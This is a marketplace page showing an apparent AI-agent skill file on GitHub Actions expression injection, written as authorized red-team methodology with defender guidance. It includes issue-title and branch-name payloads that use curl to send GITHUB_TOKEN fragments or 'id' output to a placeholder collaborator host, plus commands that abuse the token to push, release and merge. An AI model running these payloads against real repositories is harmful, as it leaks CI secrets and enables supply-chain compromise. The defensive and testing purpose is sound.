Skip to main content

github-actions-injection

GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
June 1, 2026 at 23:04
Detected SKILL.md language
English
Stars
5,565
Forks
1,053

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
github-actions-injection
description
GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"github actions expression injection script injection pull_request_target github_token actions/checkout artifact cache action pinning sha tag","tags":"ci-cd, github-actions, expression-injection, script-injection","mitre_attack":"T1059, T1078.004, T1554"}
# GitHub Actions Expression Injection `${{ <expr> }}` is interpolated by the runner **before** the shell sees the line. If the expression sources from untrusted `github.event.*`, the substituted text is parsed by `bash` (or `pwsh`) as code — full RCE on the runner, with whatever token + secrets the job exposes. ## Untrusted context — the sinks These fields are attacker-controllable in fork PRs, issues, comments, branches: | Context | Source | Notes | |---|---|---| | `github.event.issue.title` / `.body` | issue create / edit | any logged-in user | | `github.event.pull_request.title` / `.body` | PR create / edit | any forker | | `github.event.pull_request.head.ref` | branch name on fork | `;` `$()` `\`` are valid Git branch chars | | `github.event.comment.body` | issue/PR comment | broad reach | | `github.event.review.body` / `.review_comment.body` | PR review | | | `github.event.head_commit.message` / `.commits[*].message` | push / PR | newlines allowed | | `github.event.pages[*].page_name` | `gollum` wiki | | | `github.head_ref` | shorthand for PR head branch | same as above | ## Recon — find injection sinks ```bash # Direct ${{ }} into run: blocks grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \ <REPO>/.github/workflows/ # actionlint flags most of these docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color ``` ## Sink pattern — the vulnerable workflow ```yaml # VULNERABLE on: [issues, pull_request_target] jobs: triage: runs-on: ubuntu-latest steps: - name: Echo title run: | echo "New issue: ${{ github.event.issue.title }}" # <-- sink ``` ## Exploit payload — issue title Open an issue titled: ``` hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) # ``` Runner expands to: ```bash echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #" ``` The shell runs `curl` with the first 12 base64-chars of `GITHUB_TOKEN` as the URL path. (PoC pattern — truncate; **do not** exfil the full token.) ## Branch-name injection ```bash # Fork → create branch with a shell-meta name git checkout -b 'x";curl -s https://<COLLAB>/$(id)#' git commit --allow-empty -m bn git push origin HEAD gh pr create --title typo --body typo --repo <OWNER>/<REPO> ``` If any workflow does `echo ${{ github.head_ref }}` in a `run:`, the runner executes `id` and posts the result. ## `pull_request_target` + PR-head checkout ```yaml # VULNERABLE on: pull_request_target jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: { ref: ${{ github.event.pull_request.head.sha }} } - run: npm ci && npm test ``` Two attack paths on the same workflow: 1. **Code execution** — fork edits `package.json` `postinstall` (see `poisoned-pipeline-execution/SKILL.md`). 2. **Expression injection** — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any `${{ github.event.* }}` sink in the base workflow is still exploitable via title / body / branch name. ## Safe pattern (defender) ```yaml # Pass via env, never interpolate directly - name: Echo title env: ISSUE_TITLE: ${{ github.event.issue.title }} run: echo "New issue: $ISSUE_TITLE" ``` `$ISSUE_TITLE` is expanded by `bash` only — shell-meta inside `$ISSUE_TITLE` becomes literal text. Note this still requires `set -u` or careful quoting; double-quote the variable. ## `GITHUB_TOKEN` permission abuse If the workflow does not set `permissions:` explicitly, the token defaults to whatever the repo / org default is — historically `read-all` / `write-all`. With write scope you can: ```bash # From inside the runner — push to a release branch via the token git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git" git push origin HEAD:refs/heads/release/x # Create a release gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # Approve + merge a PR (if `contents: write` + `pull-requests: write`) gh pr merge <N> --merge --admin ``` Always check the effective scope: ```bash # Inside the job — see what the token can do curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes gh api /repos/$GITHUB_REPOSITORY --jq '.permissions' ``` ## Artifact / cache poisoning `actions/cache` keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when `pull_request_target` is in play. Same for `actions/upload-artifact` followed by a deploy job that downloads + executes. ```yaml # Smell — artifact used as build input without integrity check - uses: actions/download-artifact@v4 with: { name: build } - run: ./build/release.sh # <- if attacker poisoned `build`, this runs attacker code ``` ## Third-party action pinning ```yaml # Tag-pinned — silently movable by the action author or anyone who hijacks the repo - uses: tj-actions/changed-files@v44 # SHA-pinned — immutable - uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8 ``` `tj-actions/changed-files` (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk. ```bash # List every third-party action and its pin style across the org gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \ | xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \ | base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@' ``` ## Detection signatures | Signal | Defender view | |---|---| | `${{ github.event.*.title \| .body \| .ref \| .message }}` in `run:` | static lint (actionlint, zizmor) | | Branch name containing shell metas (`;`, `$(`, backtick) | pre-receive hook on the org | | `pull_request_target` + `actions/checkout` with `head.sha`/`head.ref` | zizmor rule `dangerous-checkout` | | Token scopes `write-all` w/ no `permissions:` block | repo / org default token policy | | Tag-pinned third-party action | `dependabot.yml` action-update review | ## Tools | Tool | Use | |---|---| | `actionlint` | First-line static check; flags 90% of expression-injection sinks | | `zizmor` (woodruffw) | Rust-based audit, catches `pull_request_target` + checkout patterns | | `octoscan` | Workflow scanner with PoC generation hints | | `gh` CLI | Inspect runs, logs, token scopes, approve fork-PR runs | | `gato-x` (praetorian-inc) | End-to-end PPE / expression-injection automation | ## Decision gate 1. Open the PoC issue / PR from a research account on a research fork; payload truncates the token to first 8-12 chars only. 2. Use `interactsh` / Burp Collaborator for the beacon. Do not POST the token anywhere durable. 3. Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured. ## References - GitHub Security Lab — "Keeping your GitHub Actions and workflows secure" - "Untrusted input" sink list — github.com/github/securitylab/issues - `tj-actions/changed-files` (CVE-2025-30066) post-mortem - Synacktiv, NCC Group, Praetorian — Actions injection writeups
View on GitHub